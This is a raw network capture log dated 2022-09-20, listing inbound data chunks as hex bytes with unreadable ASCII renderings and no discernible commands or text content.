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2022-09-20 10:10:08 UTC 2559 IN Data Raw: 7f 56 c4 3f 1d 42 fc d6 10 e2 67 87 21 de cd 11 ef 46 10 1e 12 40 35 09 cc bb c3 31 ff b4 80 ea 56 81 f9 ad 02 
f3 87 04 e6 dd 03 30 ef 16 98 7f 5a 60 de 2d 30 ff b4 c0 7c ce 00 cc cf 16 98 77 eb 30 ef d6 61 de 26 30 ef 0e c3 7c 8e 68 
e3 6c 8e f9 4f cd 00 c6 36 33 b5 6f 77 65 ab 99 a3 71 9f 99 63 f9 13 33 e6 40 09 04 02 1f b2 60 a8 3d 06 21 80 a1 8e 18 
6c 2b 86 02 31 58 21 86 60 d0 c0 1e 51 9b fe f7 13 96 dc 63 70 a5 e1 00 77 46 c8 6e 18 e7 ce e0 38 87 8f 36 7c 1c 3a 13 
58 1d ba 0f c5 db 03 6a 2c 3c 40 50 f6 80 1a 0b 0f 94 8d a0 c6 c2 78 c3 35 d9 b3 ae ff 19 70 8f f7 d9 7f cf fa 0f 87 a6 ef f9 
95 ce e8 fe 0a ca 4a 7f 9d 3e d6 7e 83 75 4e 59 85 75 71 e6 8d 69 56 e7 1d 77 15 14 4e 9d 78 eb 6d d3 ac 0f fc da 9a 75 
7f 79 79 45 59 76 59 f9 2f 16 54 56 96 5e 5b 
Data Ascii: V?Bg!F@51V0Z`-0|w0a&0|hlO63oweqc3@`=!l+1X!`QcpwFn86|:Xj,<@Px5pJ>~uNYuqiVwNxmuyyEYvY/TV^[

2022-09-20 10:10:08 UTC 2567 IN Data Raw: c8 96 e2 ef 9d ca 8c 93 ec ee 27 61 a0 94 dc d5 f8 46 46 ca f4 36 20 b0 5a b4 80 e3 80 37 1b 7e a1 bc 94 7d 
c7 3e 3f be bf 55 5a 4d 23 4c 9c d0 7b d2 a0 34 f5 76 bb 9a 67 55 a7 a7 d0 48 f9 04 0d 63 50 a0 c3 88 16 fc 58 e5 b4 a3 
51 9a b0 d9 e1 93 56 fe 9d b1 92 bd 0d fe a8 c8 1d ac c8 27 79 bc 18 c1 3f 2f 65 df db 8e 4b ab 46 81 00 d9 df ba af da 
76 4b eb f0 c7 01 30 d2 df 73 6c b7 2c ff 30 61 0e 8e f0 fb 4a 6d 59 9f 57 43 41 a5 b6 5b 90 0a d4 e9 49 68 e7 fd 86 51 6d 
01 8e d0 1f 30 95 e5 8e 71 4b d3 a4 d5 4b d1 e5 4e 62 1f d6 01 43 f1 4a 89 8f de b8 bc 20 5c 08 8c 01 3c 2a 79 49 a8 0f 
e0 8e 90 f4 b6 f6 99 74 2e 99 45 79 b4 92 5d 55 e3 96 66 49 ab 13 70 ac ce 63 2c 5a cb 59 14 77 25 d0 56 7d 09 41 95 
97 94 4e e6 db 07 a0 60 5f 5e 12 89 22 66 d8 0d 41 31 ee 
Data Ascii: 'aFF6 Z7~}>?UZM#L{4vgUHcPXQV'y?/eKFvK0sl,0aJmYWCA[IhQm0qKKNbCJ \<*yIt.Ey]UfIpc,ZYw%V}AN`
_^"fA1

2022-09-20 10:10:08 UTC 2575 IN Data Raw: 3f 89 6c 78 d2 43 5d 80 63 9b 54 d5 c7 8d 6b 92 b9 12 5c 80 72 9f a5 9f 24 da c4 b4 12 7b 6e 6d 71 97 b8 0d 
0a d8 6a e7 77 c3 38 d3 72 ed 05 38 be e2 5e 44 42 1f 21 a1 df 27 c3 28 7b 6a 8b 07 6a 73 70 ac f6 aa 27 d0 5c 07 c3 d3 
e1 18 11 ec ce dd be 03 31 de 0a 7d 47 0c da 5d e1 64 f5 77 b1 4b 59 a4 34 2f 5e 0a 99 d0 f2 ca 8a 4a 16 22 db 46 f0 16 
32 47 30 cc 8f 2e 3f c8 90 6f 4f 03 40 d3 00 50 42 8e d8 e3 2d 4c 46 87 31 9b f0 c8 85 06 72 0f 06 14 7d e6 00 14 89 9d 
6e bf de d7 6e 11 7b 6b 4f 17 8f c1 73 6d a6 78 cc 7b 7f b0 f6 c6 a0 b8 d3 7b 6d d0 d7 96 20 1e ab bd 2d 28 ee f2 de 17 
64 e5 6e 0c d6 2e 08 7a a7 06 6b af c3 84 7f 89 62 13 9a 62 11 a9 c2 43 a1 22 3b fb 48 59 2c 8b b8 ff 76 6e 14 ea 8a 82 
6e 59 ef 3b 68 8a df e4 2d 08 0a 75 d9 c1 f8 16 67 93 77 
Data Ascii: ?lxC]cTk\r${nmqjw8r8^DB!'({jjsp'\1}G]dwKY4/^J"F2G0.?oO@PB-LF1r}nn{kOsmx{{m -(dn.zkbbC";HY,vnnY;h-u
gw

2022-09-20 10:10:08 UTC 2583 IN Data Raw: 6a a9 44 e6 8a ff 79 a1 73 23 30 bf 6a 77 97 69 a1 39 68 f7 14 7e 7d fb 1c 82 fb 8b 81 a0 12 6f 50 5d 2f 42 3c 
5b 2f da bc 75 18 69 03 a9 f6 03 03 3b e0 a3 58 55 81 8d 21 fd 74 12 bf 74 71 fd 1d d0 b0 c8 b3 af ea 5b e2 6e 5c da ef 
07 9e 82 c3 87 05 d6 08 43 41 da 95 af ba b3 3f a8 21 7c 4a ec d4 cc e3 13 21 12 fd e7 b4 06 03 4f 29 fe 85 93 12 a4 6c 
3a 1a 34 18 e8 54 10 e7 1d 4f ea 30 98 08 1e 4c c0 df 6c 4a a0 72 b0 93 c5 6b 14 3c 32 0b 69 65 89 89 a0 06 25 6e b9 4e 
83 57 db 26 98 d2 ce d0 f9 37 46 31 c1 60 d2 87 71 2f 80 b1 eb 05 4f 3c 92 22 2c ca eb d2 8f 84 8b 5a 05 1a 01 d2 a2 34 
8c 25 4f cb 3c 12 24 ed 9b c6 f3 cc ef 39 51 c0 da 07 04 48 a7 f0 73 f0 9a b8 38 1d c3 a7 bb 2b 56 a8 99 87 40 94 b0 90 
a7 d4 50 09 59 c9 c8 9b 16 28 d1 f9 8a 68 f3 05 a8 72 
Data Ascii: jDys#0jwi9h~}oP]/B<[/ui;XU!ttq[n\CA?!|J!O)l:4TO0LlJrk<2ie%nNW&7F1`q/O<",Z4%O<$9QHs8+V@PY(hr

2022-09-20 10:10:08 UTC 2591 IN Data Raw: cf 81 fe 24 4c 9f 72 69 2c 6a 90 b0 9f d5 ec 34 6f 3c 02 92 4a 45 9f e6 1c 7d c2 a0 7a 73 a3 d4 9b 87 f5 d2 95 
7a 72 f1 59 c0 82 1a fd 77 f7 f2 b8 09 b0 6e 9d db 67 ad 14 ea cc a3 53 0b 2d 7a 34 bc d9 55 75 c4 5f cc 0f ec 19 db f0 af 
ef d5 f4 3b 9d fa e5 ec 44 ed 7b 62 94 be 4f 3c 0c 7d d7 42 dd 95 5e e3 28 bc d7 43 4a 15 0b e9 da 3c 5d ec 40 bf 0e 3c 
ad 02 f9 44 a8 1b 9e 6a c2 63 7a e8 5f ae 3a 42 e7 e1 50 ce ef 44 fb 8c db 6e 89 0c a7 c7 f9 75 1f e3 d7 16 3d f1 6b 34 
dc e0 01 4c 96 db 0f 23 90 1b 81 6f db f4 c4 c5 53 99 81 58 29 14 b7 b3 c7 22 78 74 b0 c7 5c dc bc be 8f 63 01 76 3c ad 
c0 13 84 5c 59 de a0 ef 0d 02 93 b2 b2 32 0e cf 76 61 85 d7 44 f9 46 56 78 e0 ef f8 d5 e4 bc 26 3c 76 96 89 18 1d 1a a7 
ea eb 81 a5 b3 b7 71 26 82 2d 91 5b e8 3e af e1 55 
Data Ascii: $Lri,j4o<JE}zszrYwngS-z4Uu_;D{bO<}B^(CJ<]@<Djcz_:BPDnu=k4L#oSX)"xt\cv<\Y2vaDFVx&<vq&-[>U

2022-09-20 10:10:08 UTC 2598 IN Data Raw: dd 41 4c 4b c6 3a 52 f9 59 f9 a5 6a 57 41 c1 93 c3 15 b8 b9 11 0d ae 88 d2 e0 0a 6a d0 6f 09 3f 57 29 8f a8 e9 
8d 52 b3 84 d5 dc a9 f0 47 96 b5 a1 59 73 57 cc fe 70 fd bd 9a c7 3f 5f 68 75 f7 8e 5c 7c 86 d7 1d 6c 07 5a e8 32 2f 3c 25 
68 f7 c8 c0 0d 95 f9 f2 ec 5b 62 5e 83 8b 80 07 3a 87 e2 0b db 83 f6 e7 6d ad b7 53 60 7e 29 6e 59 06 93 11 2e c6 69 d4 
9e 39 f0 f3 52 6b 2c ec ad c0 ad 97 f5 c6 59 b0 dc a3 31 a4 ec 64 f4 57 bf 26 dd 6a 77 f7 06 5d c9 f8 73 40 a8 29 65 17 a8 
19 a0 9e ff 29 86 19 4b 7b 82 8b 86 83 8e 94 21 3c f6 64 0c 37 33 ce 63 5d f8 e7 04 f9 7d be fb 40 3f 7a 36 79 32 a9 13 
13 75 32 12 3b 59 6c 87 96 de 8c 61 d6 c6 e8 9f 59 0f 94 8f b6 fb 64 bf fc 04 fc ca 6c 10 6a 0a f8 fc 58 0d e1 58 7e 9a 63 
f9 31 0d 96 db 72 31 5a 93 bf 23 84 56 18 1f 
Data Ascii: ALK:RYjWAjo?W)RGYsWp?_hu\|lZ2/<%h[b^:mS`~)nY.i9Rk,Y1dW&jw]s@)e)K{!<d73c]}@?z6y2u2;YlaYdl
jXX~c1r1Z#V

2022-09-20 10:10:08 UTC 2606 IN Data Raw: 8b d7 cc 64 6b 0f 16 9e 0f 17 e0 0f 09 ce 5e 71 b7 77 f5 a8 cb ff b9 c1 22 7e 2b d4 f5 02 19 31 f6 c4 80 b9 00 
3f a8 10 29 14 a4 50 36 a3 1e e8 0b 08 87 cf af f8 50 39 d0 68 3b 30 6f cd e6 8b 3f 70 08 9d 00 21 a2 e1 67 93 42 42 5d 
e2 2e f1 96 0a ce b9 8f 3a 9b 25 a3 1d 28 7a fe d3 8f 27 21 34 c7 2e c0 a7 10 29 03 6f d2 12 33 a7 64 5c 29 15 61 db 6e 
55 a5 76 db 0d 11 32 27 36 85 9e 19 e3 86 75 73 8b 0b b6 c4 ef 13 60 5d 1d 48 f0 b5 9a c4 06 5f 9b c9 19 70 1e f1 d6 8c 
f9 57 ea d8 9c 94 6d b8 12 c5 06 ef e3 67 02 2f 1a 9a 34 09 ff 44 9d 1c e3 42 dd 3a f1 da 45 e2 36 c9 e8 21 58 fc 09 69 
46 2f 2b bf c5 77 08 ca 6f c7 df 58 de f8 27 42 47 7e b5 7b bd 49 ab 10 32 f9 c9 8c d7 a9 74 b7 32 c5 28 5d 2c 25 08 1b 
61 93 95 a6 98 40 8c ba de 2c 6e 95 0a 8c c2 56 61 13 
Data Ascii: dk^qw"~+1?)P6P9h;0o?p!gBB].:%(z'!4.)o3d\)anUv2'6us`]H_pWmg/4DB:E6!XiF/+woX'BG~{I2t2(],%a@,nVa

2022-09-20 10:10:08 UTC 2614 IN Data Raw: 4f 7c b9 40 d0 a9 05 3f e1 66 96 9b 02 79 e0 2d 65 3d 6e d6 9a 74 5e ae 35 05 83 99 e8 8a 00 05 fb a0 e4 34 
21 a6 f5 b3 4c 21 5c 6b d2 91 07 c1 99 12 f4 36 ab d8 94 ec dc be 80 79 d2 02 9e 60 33 eb 4d 81 39 90 96 b2 b6 89 62 
93 4e fa 08 c2 51 24 c6 d2 bf b9 d2 ac 3b 73 87 a7 ce 05 46 41 cd 89 ba 05 a2 d2 fa 20 d3 02 17 9b 74 74 1b e8 50 a0 cf 
0c d7 65 56 9b 60 b8 05 82 00 c1 5e 90 da 20 13 53 a9 49 7e 23 ac 51 6f d5 9a a0 39 8a 66 12 5b 0c 19 a8 65 a4 f3 8f c9 
54 9f 0b 4d 48 8f c2 45 3a 3e 97 9a 75 67 fe ce d3 e2 02 79 a0 e8 44 e5 02 7d 68 7d 88 43 9f ab 4d 3a ab 28 35 41 7f c2 
36 cc 68 2d 66 b9 09 46 5b 20 08 0f 6c 05 5d 8d 7a 02 75 30 4b 6f 91 b6 3a 61 15 9b a0 35 a1 13 f3 59 31 4a 1a 19 14 31 
a9 14 57 9a 50 08 e5 8b 0c 08 26 1c 8b d3 a8 ea 04 07 41 a7 
Data Ascii: O|@?fy-e=nt^54!L!\k6y`3M9bNQ$;sFA ttPeV`^ SI~#Qo9f[eTMHE:>ugyD}h}CM:(5A6h-fF[ l]zu0Ko:a5
Y1J1WP&A

2022-09-20 10:10:08 UTC 2622 IN Data Raw: 6c 8b 64 d2 1a ce a4 24 5d 62 10 b7 5f 09 cc 26 1d 66 3e 42 a0 2f 37 8a ae 3a 9a 7d 0a 98 0b ad 78 3c 02 98 
8f eb 3d 36 b8 83 02 47 60 99 08 98 4f 00 e6 03 08 01 5d a0 7f 22 4e 50 94 66 41 50 42 88 05 cc e8 e1 9f 00 73 c0 7c 1c 
30 9f 40 08 e8 22 f3 e3 c9 82 a2 e8 04 65 9e 55 a0 4c 42 5c f2 5c 97 f0 24 89 48 9f 5e 1e 64 6b a4 fc 2c 91 20 3b 2f 01 
b2 ed f3 83 9c 22 e9 18 9b 04 c6 6b c3 30 76 5e 1e 63 4b 24 8f e6 48 1e ed 97 00 d9 7a 25 20 3b 39 c8 a9 12 94 17 14 
54 93 e8 a8 a3 d9 21 60 bc c4 8e c7 53 26 71 83 06 ef af c1 8f 61 a1 9a 8f 49 0c fd 39 09 8c 1b 11 02 b4 80 fe 64 9c a0 
28 67 04 41 39 8a 58 60 8c fe dd 00 c0 81 f1 09 60 dc 8e 10 20 45 e6 27 92 05 45 29 34 0b 8a b2 c0 2e 40 a6 9a 2e f9 4b 
98 f4 a0 56 0f 5d 1e 65 73 a4 04 4d 91 12 b4 5d 02 65 cb 95 
Data Ascii: ld$]b_&f>B/7:}x<=6G`O]"NPfAPBs|0@"eULB\\$H^dk, ;/"k0v^cK$Hz% ;9T!`S&qaI9d(gA9X`` E'E)4.@.KV]esM]e

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2630 IN Data Raw: f2 76 46 05 13 bc 31 f2 bc dd 51 c6 13 95 3d b8 a6 15 7f e7 e2 ef 3b f1 b7 35 19 82 bb ae c3 81 5b 46 4e 88 
60 58 ce 19 c0 0b 20 0e 7f 8d 3b 35 a1 27 3c 13 db 7f 4c 14 5f 9e 02 4b d7 85 7b c6 52 f8 5b f3 1d 36 fa fb 63 d2 82 a1 
b7 f0 95 f1 f1 5e e9 36 9e 3d c5 78 2d 46 f7 f1 c2 0f c7 de 7b 13 d1 d1 c9 2b 57 12 9e 53 12 9a 87 2f af aa 38 ff 82 0b 44 
e7 0b 33 31 d5 fe e3 30 db 86 f2 98 f0 64 39 fd 9e 64 a6 93 aa d9 2a ea e9 a8 87 53 5d 09 5b c9 9d f4 77 be 26 1e 1b 1b 
c6 5f 77 a3 ce ec 70 1a eb 6c a8 93 af 6c 61 4f 4f 8c 2a b6 a8 3c ac c7 c7 b2 26 33 6c ad 6f 91 98 82 73 71 d2 f2 de 8f e5 
95 bc fd 8d e0 40 78 74 78 cd 85 92 93 ca 60 63 bf 00 38 5f 1a 00 17 d9 62 4e 9e 3c e2 27 e7 fc 47 b2 e4 ea f8 98 f8 c9 
77 1d 65 7c 54 cd 0b 5e a3 68 5b 86 ac 0d 74 a4 c9 
Data Ascii: vF1Q=;5[FN`X ;5'<L_K{R[6c^6=x-F{+WS/8D310d9d*S][w&_wpllaOO*<&3losq@xtx`c8_bN<'Gwe|T^h[t

2022-09-20 10:10:08 UTC 2637 IN Data Raw: 91 35 74 30 58 27 8c 19 2e 6d 15 6d eb b7 90 fc 04 69 9a a2 b3 90 88 c5 9b 52 74 3a f1 f2 43 be 20 4e 2d 3d 
e1 63 9d f5 a3 d2 b3 08 9a 9e 49 9c 1e 53 7a e6 58 a4 e7 26 3a a9 6f 21 22 16 ef ca b0 e8 78 59 b1 6e f0 56 5a f8 65 24 
41 49 32 39 7c 0c 2c 49 cf 0c b6 22 ec 93 80 c6 65 27 bf 5f ab 01 05 b1 f8 9c c6 e2 d3 09 9a ec 2e 41 1d 3e 29 40 79 4b 
26 bd 83 f4 65 a2 0c a9 63 36 9a 3a a6 49 9d 9b 48 c7 6c d4 9a d3 57 10 6d d5 08 09 5f 42 d2 7d 7e 9f c7 49 54 b2 a4 6c 
ec 93 0e b5 d9 81 23 99 5d a0 4b 59 ab 1e 24 41 17 2c 04 78 d3 d4 b5 a7 97 c8 01 40 a7 0e 92 9b 24 91 15 34 9a 06 1d 
13 ec 84 ed 76 12 20 5c ed e6 3b 95 b5 00 11 b3 c8 66 a3 0f ee 0b 5c ea 1e a8 e8 8d 6c 91 3a 20 54 74 a8 25 ea be d0 
6a 98 86 ba cc 59 bb 48 a5 14 5b 83 27 38 7f 90 97 64 a6 b6 82 
Data Ascii: 5t0X'.mmiRt:C N-=cISzX&:o!"xYnVZe$AI29|,I"e'_.A>)@yK&ec6:IHlWm_B}~ITl#]KY$A,x@$4v \;f\l: Tt%jYH['8d

2022-09-20 10:10:08 UTC 2645 IN Data Raw: 56 88 8c 52 b3 55 b9 13 c7 c6 53 70 c0 18 89 33 8d 2f 7c ac 25 e7 de 7d 36 24 42 43 6c ed dd fe 0a 75 3b a1 
ed 1e 8e 41 d4 84 68 3f 91 a1 c8 f7 27 3b 5e 7a 12 a6 4d 15 06 f1 0b 23 96 31 59 c7 0a e5 31 9b 06 83 9c a1 6a 0f 53 b5 
82 2d 8f 2c c7 a3 21 3c 1e d7 65 ec e5 11 07 a3 f2 e0 f2 2c 89 1f 3a 12 9a f2 4b b6 1b 81 76 0d 0f af 35 87 bb f6 24 91 1e 
cf ff 05 66 b8 d8 96 80 e0 0c 1b 27 ba cb 30 16 3b 4d 24 97 a7 f1 19 39 03 19 b4 a8 6e 91 58 e7 22 87 f8 87 51 a4 0f 77 
e8 bf 74 72 ee 37 97 36 d6 a3 8f f3 52 f7 67 a2 fb 4d 56 41 c1 69 d3 32 8c 6f be e4 6c f1 19 75 f5 9a dd 7f 07 a9 b1 cc ce 
5b ac 35 e9 44 f5 f1 97 60 67 74 34 4a 1f e3 a0 25 d2 b6 18 8f 77 44 59 03 5c 21 4c 84 e5 d6 25 12 78 33 3c 62 91 de 12 
14 91 01 05 27 fc 50 2c 6f 02 d3 a6 e4 c4 7f 67 c5 
Data Ascii: VRUSp3/|%}6$BClu;Ah?';^zM#1Y1jS-,!<e,:Kv5$f'0;M$9nX"Qwtr76RgMVAi2olu[5D`gt4J%wDY\!L%x3<b'P,og

2022-09-20 10:10:08 UTC 2653 IN Data Raw: f9 2d 8a 63 e6 7f c6 63 9d 7c 54 6e fc 8a cd c9 b4 4e 03 51 dd 74 26 ea 8d c3 b2 b8 7f c8 10 a3 ba ea 07 26 
ae d3 34 0b e9 f8 7d b1 63 78 c2 01 3b 7c 3d 29 84 09 f1 aa f8 3e 42 1c bc 70 11 a2 cf f7 4d 84 9e 5e 29 d4 54 9b e0 55 
fd 1d df 24 61 38 f3 e1 e6 40 9a 1b e4 6d d7 34 a1 73 e5 7d 36 90 0f b3 b1 6b ae 42 b6 d8 19 5b ff c0 2f 7a 1d 17 09 1a 
30 66 ad 65 b3 d9 89 8d 38 c2 a1 80 db d1 99 69 e0 4c 2f 6c 88 d5 98 54 16 0b c9 fe b8 46 25 5a 5b c4 36 ee 7d 03 a5 
d3 c7 79 ac e5 57 f9 9c 81 26 45 c2 c1 8e 0e 63 9d 05 35 be ac fb c6 82 53 60 93 63 d3 56 a4 9e e3 fd b1 df 44 d6 fd ff 30 
1e 1f 49 7d b6 85 1f 16 f8 77 2f 18 a5 04 8c 73 45 fc 41 73 9d 82 e5 8a 56 59 8b 4c d5 59 ec b2 08 3b 00 bc 18 1b 80 91 
b1 12 db 5f 0e 64 d6 ca b2 b1 f7 44 96 71 4f 73 27 ae b8 
Data Ascii: -cc|TnNQt&&4}cx;|=)>BpM^)TU$a8@m4s}6kB[/z0fe8iL/lTF%Z[6}yW&Ec5S`cVD0I}w/sEAsVYLY;_dDqOs'

2022-09-20 10:10:08 UTC 2661 IN Data Raw: 68 3c df bb a4 f1 7c c9 30 cf 0e 64 86 69 2a ce b2 09 59 6d cc e2 2f d9 4d c5 3e f3 cb 5d f4 a5 a9 38 5b 2c 98 
bb ee 3d b1 57 d6 6d 11 c2 b9 90 60 f2 10 05 c7 74 57 8e 17 7b 12 b5 41 12 9c 7a bf 97 26 57 68 4e ee 3f 55 90 dc d5 6b 
e5 e8 03 bb 8d 6e ef 36 3a fc d7 e5 e8 98 f9 00 25 f5 cc 67 5a 66 7e e9 6a 66 3c 99 d9 14 f2 d0 d0 bd 80 87 94 7b ff 63 
66 30 f5 29 55 62 17 99 26 f3 76 e6 c6 af 15 e7 18 d7 73 7d 78 03 d4 96 43 f3 90 66 c5 3c d1 a6 0e ea 48 f8 c2 78 03 93 
ff d2 cb 73 cd fc 30 92 1f f3 f0 b8 52 2b cf 4f 11 7f 87 cb 0b 45 79 51 4f e5 25 a2 bc 34 55 fc 0a e3 e0 27 a6 1e a4 8b 46 
79 4c d6 2c 5c b5 a9 ac 9a 56 eb c2 ef e3 4a 63 ca 40 91 69 d1 7f 8b 69 83 ff fd 03 0e 69 a0 8c 39 1e 1a c3 b3 39 65 6d 
91 d4 82 20 cf 4c 84 9d 35 83 29 f3 0c 18 fd 59 e9 
Data Ascii: h<|0di*Ym/M>]8[,=Wm`tW{Az&WhN?Ukn6:%gZf~jf<{cf0)Ub&vs}xCf<Hxs0R+OEyQO%4U'FyL,\VJc@iii99em 
L5)Y

2022-09-20 10:10:08 UTC 2669 IN Data Raw: 63 47 5f d7 60 71 9f a2 c9 b8 39 d1 b7 c0 c8 bc 0e 28 47 c1 d3 7d d2 6f 2a 03 07 f0 f3 2d 30 6d 9e c9 3d df 50 
8e 86 be 95 ea e3 f0 df ac 25 2a 5f 40 6d 46 fb 79 81 e6 d2 69 30 14 ea 8e ba 93 78 58 3c d7 08 4d e2 81 aa 1b b1 fe 40 
3e 59 56 ef 39 46 02 54 f6 c9 03 5a 69 f3 5a e8 f0 ab dc 66 a7 f0 bf 86 ea e6 ea 2b ea a5 60 13 d3 4d 88 9d a2 b1 43 db 
c5 79 32 2d f8 1c 24 01 52 e5 9c 88 0d 68 ad bb cb c8 c7 27 e8 bf be 1c bc a0 66 50 ed 7f f6 1e 76 65 c3 34 4f b5 bc 0d 
89 5b 01 0b da 21 9a 3d 16 24 a8 f6 2c 3a d3 b2 c3 fc 81 7a 83 7b 9d 6a 46 8c fa ab 76 62 7a 56 ba d1 8f fd 32 26 bd 1b 
3b a7 97 15 9d 5e 62 ff 0e 8d c9 68 01 93 90 6a 4f 16 e5 e0 82 a2 fa 56 1a f3 f6 5a 7d b8 8e 50 4e 33 7b 11 05 0c ed b8 
f4 c0 8b 0e 2d 8e e8 f7 c8 ca 05 cf 69 23 04 42 30 7b 
Data Ascii: cG_`q9(G}o*-0m=P%*_@mFyi0xX<M@>YV9FTZiZf+`MCy2-$Rh'fPve4O[!=$,:z{jFvbzV2&;^bhjOVZ}PN3{-i
#B0{

2022-09-20 10:10:08 UTC 2676 IN Data Raw: ee dd 05 bb 4f 8c 4a 98 c7 61 74 74 df e8 af 5a 6e fd 85 c3 65 cb 66 2d bb ff 57 b7 24 0e db b6 5d d2 b6 e1 ff 
42 bb 70 38 7e 7c da f8 ba a6 e3 ef 71 f8 e8 d1 9f 8f 6e 34 b1 bc c6 e1 cc 99 e7 67 1e dd f0 f7 69 0e 9b 34 89 68 92 31 5c 
bb 90 c3 a0 a0 57 82 de 1e b9 e0 23 0e d5 6a 4f 75 90 97 26 82 c3 9c 9c 4e 39 43 a4 d5 2b 38 bc 7f ff 8b fb be 1f e7 fd 
ce e1 8d 1b 7d 6e ac cc f8 be 2f 87 df 7c 73 e4 9b b1 ad 47 67 72 98 96 d6 28 cd c3 50 f7 33 0e bb 77 7f d2 bd f8 c4 47 
c7 39 fc e2 8b 09 5f 9c 7e e4 3b 82 43 85 c3 bf b3 67 5f 3e fb e6 25 43 39 87 9d 3a 6d eb 14 b6 78 c8 34 0e 67 cd ca 9b 
f5 c5 4f f7 ff e0 70 e1 c2 ae 0b c7 ef 68 f9 37 87 bf fe 9a f4 6b f5 77 3b bd 38 7c f9 e5 b8 97 af ce 7e 33 87 c3 9f 7f 7e f8 
73 d6 88 d9 7a 0e 7f fc 71 d1 8f 8d 3b 86 1c 
Data Ascii: OJattZnef-W$]Bp8~|qn4gi4h1\W#jOu&N9C+8}n/|sGgr(P3wG9_~;Cg_>%C9:mx4gOph7kw;8|~3~szq;

2022-09-20 10:10:08 UTC 2684 IN Data Raw: 8e 26 29 79 c0 06 7a 65 50 44 b3 4a 59 2c db 67 0a a6 76 49 1a 72 c6 8f 1e 2b e9 93 a4 85 cb 4b 51 4a e6 49 
fb 46 4a cc 65 8b 97 74 93 fc 4e 8b 46 d4 69 53 a2 d1 9f 87 17 b7 08 cd be e1 bc a5 c1 a6 e8 fd c0 94 93 b9 21 3b 0f cc 
51 06 3c d5 0f 10 f6 38 3b b6 a2 2b a2 93 f4 1b b7 0f 09 4d 68 a2 b4 6f 42 fa 37 65 16 d2 6b 56 3b ff 09 ad b9 8d 7f 2b df 
82 7e 50 26 13 72 e6 cb 52 e2 25 bb e9 24 63 b0 ee 01 53 a6 0b 65 ca 74 ee e2 1c b5 99 9b a0 cb 00 fa dd d2 cf 85 a6 
00 5b 0b 7b 42 bb d0 7b 96 50 1b a6 4b 32 71 4f d4 3b e0 d6 bc 31 93 f3 02 d2 ff f4 3f 7f bc 3b f9 db 68 76 56 8d 61 44 d0 
a9 a7 c0 1d 89 3b 1e 72 d2 22 90 2d 74 b8 da 4b 4a 23 73 01 bb 21 a2 fb 07 e4 71 73 2a 93 c7 7e 5a c7 32 a5 7d 16 13 
2c 55 84 e5 99 a0 b2 26 ec c9 94 6d e1 99 bf bc 58 6d 10 
Data Ascii: &)yzePDJY,gvIr+KQJIFJetNFiS!;Q<8;+MhoB7ekV;+~P&rR%$cSet[{B{PK2qO;1?;hvVaD;r"-tKJ#s!qs*~Z
2},U&mXm

2022-09-20 10:10:08 UTC 2692 IN Data Raw: fe 32 64 68 f4 b9 34 f7 d1 ee f9 2c 32 4c 93 c3 38 c4 34 d3 d1 73 3c df dd 30 90 0e d4 6d d1 51 02 f7 33 5c d2 
b9 7c 82 b7 bd fa a8 ef 69 ab 57 42 55 76 d6 16 c3 75 8e 62 f0 44 67 a1 9e 6e 08 d6 02 15 34 46 06 a7 8e 20 25 b8 a2 ec 
c7 ef 58 9f aa 76 6e 3c 50 61 b7 e6 f4 b0 b9 04 94 34 12 2b 87 1b ef 8f b1 11 f4 d8 f3 30 34 0a 9c 92 f4 ca a4 c8 01 3a d4 
bd 19 c4 d7 c0 bf 84 ff 10 63 0f 9c 2f 8c 38 1d d3 96 93 36 7e b5 d4 83 37 c0 2b 38 c6 a8 07 02 cb b8 1e fd f5 a3 c6 6d 1d 
e1 31 fd f3 af b4 60 16 e1 ba 67 d5 e4 cd 90 a0 61 b8 6f 87 68 3b 9d c7 61 f8 9f ef a5 46 8d 24 97 bc 46 e6 51 c0 e4 f3 12 
1e a5 00 d7 e3 01 b4 e1 9e 87 6f 31 33 12 88 93 19 df 7d ae 4b 98 74 30 ff 66 76 4e b8 05 cf 09 33 ac 74 f2 a7 66 c7 78 
27 7f 68 3a 3f 6c 82 89 15 ae 8e ed af 07 fe 
Data Ascii: 2dh4,2L84s<0mQ3\|iWBUvubDgn4F %Xvn<Pa4+04:c/86~7+8m1`gaoh;aF$FQo13}Kt0fvN3tfx'h:?l

2022-09-20 10:10:08 UTC 2700 IN Data Raw: be e1 9c b2 6a 38 84 e0 65 f8 9b 28 5f c8 cc 42 34 65 01 9a b4 2f 8d ef e0 14 c0 1b 4d 38 09 1c de be e1 27 
a3 f7 95 cd 56 bc 97 05 c0 4f 3c 97 ef e7 66 ea 8e 93 fc f8 f4 73 f5 fb b9 79 b0 46 4a d4 51 51 5d f9 58 74 3e e2 64 1c 1a 
8e ce 07 ed f0 05 4a 59 15 9c 35 81 76 2b 59 5c 5d 6d f7 e3 11 04 0f 3e 04 71 60 19 9c c6 5b f1 45 59 b5 61 f1 ad a7 ab 
9b 0a 92 9b a6 d2 85 a2 cb b7 0d 89 b8 46 3f c7 03 78 a5 80 80 dd 32 80 28 33 5d 0a de c0 94 99 0e dc 12 69 d3 68 51 
3b 80 d6 b3 98 3d ef 37 5e 8d 0e 13 a0 63 00 80 92 36 21 55 dc 97 96 da c5 7a 9e 38 80 d7 f3 f2 d4 98 2c 9f a7 0f c0 1c 
2a 36 ef d7 24 26 70 16 95 d0 62 9a f9 6a 21 a5 21 b1 62 00 ba 52 a0 f4 64 03 10 9e df 28 f2 7e 8e 2b 58 60 95 fc 67 a2 
6f e5 15 56 fd ce 42 f2 d7 a5 92 d9 a9 1a 66 59 25 af 55 
Data Ascii: j8e(_B4e/M8'VO<fsyFJQQ]Xt>dJY5v+Y\]m>q`[EYaF?x2(3]ihQ;=7^c6!Uz8,*6$&pbj!!bRd(~+X`goVBfY%U

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2708 IN Data Raw: b0 e3 4d 85 75 05 fc 64 e0 db db e9 29 6a e1 fe 91 18 ad 0f d4 10 e1 04 a9 f8 cd 85 68 85 9f 95 01 4f f0 82 d2 
77 30 e2 39 ce 37 2b 13 7e 5e 40 d4 95 06 c4 12 c8 c5 3f c7 d8 98 24 e4 51 68 14 a3 d6 c2 24 a1 e8 c4 81 43 9c 21 fa ad 
c7 6f 46 64 21 00 77 93 c5 00 15 fa c0 29 56 9d 1c 2a f0 66 f3 2c 1a 03 e9 45 a7 1e d5 b9 f3 58 e8 e6 c6 6f 0c ba 39 c7 
4a 74 83 03 65 f3 d8 fe 2d c8 a7 dc 18 a9 43 51 c7 40 3b 48 52 da fb 9d 26 fd 27 06 76 73 9e 5d b1 f4 5f 21 81 43 5f ab 
